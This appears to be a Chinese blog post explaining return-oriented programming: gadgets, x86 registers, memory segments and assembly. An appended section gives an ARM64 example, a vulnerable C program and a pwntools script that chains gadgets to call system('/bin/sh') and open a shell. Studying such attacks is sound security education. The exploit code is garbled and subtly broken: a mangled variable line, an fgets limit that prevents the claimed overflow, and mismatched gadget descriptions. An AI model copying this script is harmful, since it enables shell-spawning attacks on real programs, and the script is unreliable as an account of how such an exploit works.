什么是ROP系统攻击

ROP系统攻击初步了解

  • ROP全称为Return-oriented Programming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构成恶意代码。

  • ROP的核心思想
    (1)攻击者扫描已有的动态链接库和可执行文件,提取出可以利用的指令片段(gadget),这些指令片段均以ret指令结尾,即用ret指令实现指令片段执行流的衔接。
    (2)操作系统通过栈来进行函数的调用和返回。函数的调用和返回就是通过压栈和出栈来实现的。每个程序都会维护一个程序运行栈,栈为所有函数共享,每次函数调用,系统会分配一个栈帧给当前被调用函数,用于参数的传递、局部变量的维护、返回地址的填入等。
    (3)栈帧是程序运行栈的一部分,在Linux中,通过%esp和%ebp寄存器维护栈顶指针和栈帧的起始地址,%eip是程序计数器寄存器。而ROP攻击则是利用以ret结尾的程序片段,操作这些栈相关寄存器,控制程序的流程,执行相应的gadget,实施攻击者预设目标。
    (4)ROP不同于return-to-libc攻击之处在于ROP攻击以ret指令结尾的函数代码片段,而不是整个函数本身去完成预定的操作。从广义角度讲,return-to-libc攻击是ROP攻的特例。最初ROP攻击实现在x86体系结构下,随后扩展到各种体系结构。与以往攻击技术不同的是,ROP恶意代码不包含任何指令,将自己的恶意代码隐藏在正常代码中。ROP是一种覆盖返回地址来执行内存已有的代码片段。

  • ROP不同于正常程序的内在特征:
    (1)ROP控制流中,call和ret指令不操纵函数,而是用于将函数里面的短指令序列的执行流串起来,但在正常的程序中,call和ret分别代表函数的开始和结束
    (2)ROP控制流中,jmp指令在不同的库函数甚至不同的库之间跳转,攻击者抽取的指令序列可能取自任意一个二进制文件的任意一个位置,这很不同于正常程序的执行。比如,函数中部提取出的jmp短指令序列,可将控制流转向其他函数的内部;而正常程序执行的时候,jmp指令通常在同一函数内部跳转。
    (3)ROP攻击防范:ROP攻击的程序主要使用栈溢出的漏洞,实现程序控制流的劫持。因此栈溢出漏洞的防护是阻挡ROP攻击的最根源性的方法。如果解决了栈溢出问题,ROP攻击将会在很大程度上受到抑制。

寄存器

32位x86架构下的通用寄存器包括一般寄存器(eax、ebx、ecx、edx),索引寄存器(esi、edi),以及堆栈指针寄存器(esp、ebp)
(1)一般寄存器

  • eax被称为累加寄存器(Accumulator),用以进行算数运算和返回函数结果等
  • ebx被称为基址寄存器(Base),在内存寻址时(比如数组运算)用以存放基地址
  • ecx被称为记数寄存器(Counter),用以在循环过程中记数
  • edx被称为数据寄存器(Data),常配合eax一起存放运算结果等数据。
    (2)索引寄存器
  • esi指向要处理的数据地址(Source Index)
  • edi指向存放处理结果的数据地址(Destination Index)
    (3)堆栈指针寄存器
  • esp\ebp用于保护函数在调用栈中的状态

32位x86架构下的特殊寄存器包括段地址寄存器(ss、cs、ds、es、fs、gs),标志位寄存器(EFLAGS),以及指令指针寄存器(eip)

内存管理

现代操作系统内存通常是以分段的形式存放不同类型的信息的。函数调用栈(Stack Segment)、内存分段包括(Heap Segment)、数据段(Data Segment)、BSS段、以及代码段(Code Segment)。

  • 代码段(Code Segment)存储可执行代码和只读常量(如常量字符串),属性可读可执行,但通常不可写
  • 数据段(Data Segment)存储已经初始化且初值不为0的全局变量和静态局部变量
  • BSS段存储未初始化或初值为0的全局变量和静态局部变量
  • 堆用于存放程序运行中动态分配的内存,例如C语言中的malloc()和free()函数就是在堆上分配和释放内存。
    在这里插入图片描述
    图1

段地址寄存器就是用来存储内存分段地址

  • 寄存器ss存储函数调用栈(Stack Segment)的地址
  • 寄存器cs存储代码段(Code Segment)的地址
  • 寄存器ds存储数据段(Data Segment)的地址
  • es、fs、gs是附加的存储数据段地址的寄存器
    标志位寄存器(EFLAGS)32位中的大部分被用于标志数据或程序的状态
  • OF(Overflow Flag)对应数值溢出
  • IF(Interrupt Flag)对应中断
  • ZF(Zero Flag)对应运算结果为0
  • CF(Carry Flag)对应运算产生进位

常见汇编指令

  • MOV:数据传输指令,将SRC传至DST
  • PUSH:压入堆栈指令,将SRC压入栈内
  • POP:弹出堆栈指令,将栈顶的数据弹出并存执DST
  • LEA:取地址指令,将MEM的地址存至REG
  • ADD/SUB:加/减指令,将运算结果存至DST
  • AND/OR/XOR:按位与/或/异或,将运算结果存至DST
  • CALL:调用指令,将当前的eip压入栈顶,并将PTR存入eip
  • RET:返回指令,操作为将栈顶数据弹出至eip

再究ROP攻击

  • 概念回顾:
    (1)ROP(Return Oriented Programming):修改返回地址,让其指向内存中已有的一段指令
    (2)eip,用来存储即将执行的程序指令的地址,cpu依照eip的存储内容读取指令并执行,eip随之指向相邻的下一条指令,如此反复,程序就得以连续执行指令
    (3)ret指令本质等价于pop eip,也就是把栈顶的值给eip,在ROP中,ret指令完成了call指令一样的工作,并且没有对我们的栈空间数据进行修改
    (4)call指令本质等价于push eip

  • 操作分析:
    (1)要完成的任务:在内存中确定某段指令的地址,并用其覆盖返回地址。
    (2)寻找切入点:当函数正在执行内部指令的过程中我们无法拿到程序的控制权,只有在发生函数调用或者结束函数调用时,程序的控制权会在函数状态之间发生跳转,这时才可以通过修改函数状态来实现攻击。而控制程序执行指令最关键的寄存器就是eip,所以我们的目标就是让eip载入攻击指令的地址
    (3)如何让eip指向攻击指令:首先,在退栈过程中,返回地址会被传给eip,所以我们只需要让溢出数据用攻击指令的地址来覆盖返回地址即可,让其指向内存中已有的一段指令

  • 操作核心:”偷梁换柱”,将原本指定的函数在调用时替换为其他函数(利用ret指令,通过自己伪造函数调用栈,执行原有程序中正常代码的特定部分(gadget),从而控制数据与程序执行流程)。

  • 具体操作:
    到底什么是gadget?
    从Gadget Example1中分析
    在这里插入图片描述
    图2
    原程序中的ret前面的代码段地址是0x4004d4,所以我们需要修改这行指令指向我们需要形
    成程序链
    在这里插入图片描述
    图3
    在这里插入图片描述
    图4
    由图2可知函数ab_plus_c函数中的地址为0x4004dc开始执行lea (%rdi, %rdx, 1), %rax然后再返回retq,从setval函数中的汇编代码也可以找到0x4004dc的位置汇编编码为48 89 c7,这几个编码结合图3的指令编码可得知指令为movq %rax, %rdi,即可修改返回地址,让其指向内存中已有的一段指令从而达到让程序执行你想要执行的命令

  • 5
    点赞
  • 38
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
ROP(Return Oriented Programming)是一种攻击技术,通过在已有程序的可执行代码中找到一些已有的指令序列,然后通过构造栈帧和寄存器的值,将这些指令序列串联起来执行,以达到攻击的目的。 在ARM64架构中,ROP攻击的实现方式和x86架构类似,主要包括以下几个步骤: 1. 找到可用的指令序列:在程序的可执行代码中,找到一些已有的指令序列,这些指令序列可以实现ROP攻击的目的。 2. 构造栈帧:通过修改程序的栈帧,将ROP攻击所需要的参数和返回地址压入栈中。 3. 控制程序流程:通过修改程序的返回地址,将程序的控制流程跳转到已有的指令序列中,实现攻击的目的。 下面是一个简单的ARM64 ROP攻击的实现代码示例: ```c #include <stdio.h> #include <stdlib.h> #include <string.h> void vuln(char *buf) { char buf2[8]; strcpy(buf2, buf); printf("%s\n", buf2); } int main(int argc, char **argv) { char buf[8]; fgets(buf, 8, stdin); vuln(buf); return 0; } ``` 在这个示例程序中,存在一个栈溢出漏洞,在vuln函数中,将用户输入的字符串复制到了buf2数组中,如果输入的字符串长度超过了8个字节,就会发生栈溢出。 下面是一个简单的ROP攻击实现代码: ```python from pwn import * # gadget # pop {x0, x1, x2, x3, x4, x5, x6, x7, x8, lr}; ret; pop_x0_to_x8_lr = p64(0x4000f8) # mov x0, x1; mov x1, x2; mov x2, x3; mov x3, x4; mov x4, x5; mov x5, x6; mov x6, x7; mov x7, x8; blr x13; mov_x0_to_x8_blr_x13 = p64(0x400108) # system函数的地址 system_addr = p64(0x7ffff7a52370) # bin/sh字符串的地址 bin_sh_addr = p64(0x7ffff7b99e18) # 构造ROProp = b'' rop += pop_x0_to_x8_lr rop += bin_sh_addr rop += p64(0x0) * 7 rop += system_addr # 构造payload payload = b'A' * 8 payload += rop # 发送payload p = process('./vuln') p.sendline(payload) p.interactive() ``` 在这个示例中,我们首先找到了两个gadget:一个用于将参数压入寄存器中,另一个用于调用system函数。然后通过系统函数的地址和/bin/sh字符串的地址,构造了一个ROP链,将其作为输入,发送给目标程序,实现了一个简单的ROP攻击。 需要注意的是,由于ARM64架构中的指令是64位的,因此在构造ROP链时需要使用64位的地址和指令。另外,在实现ROP攻击时,还需要考虑栈保护和ASLR等安全机制的影响。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

hokool

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值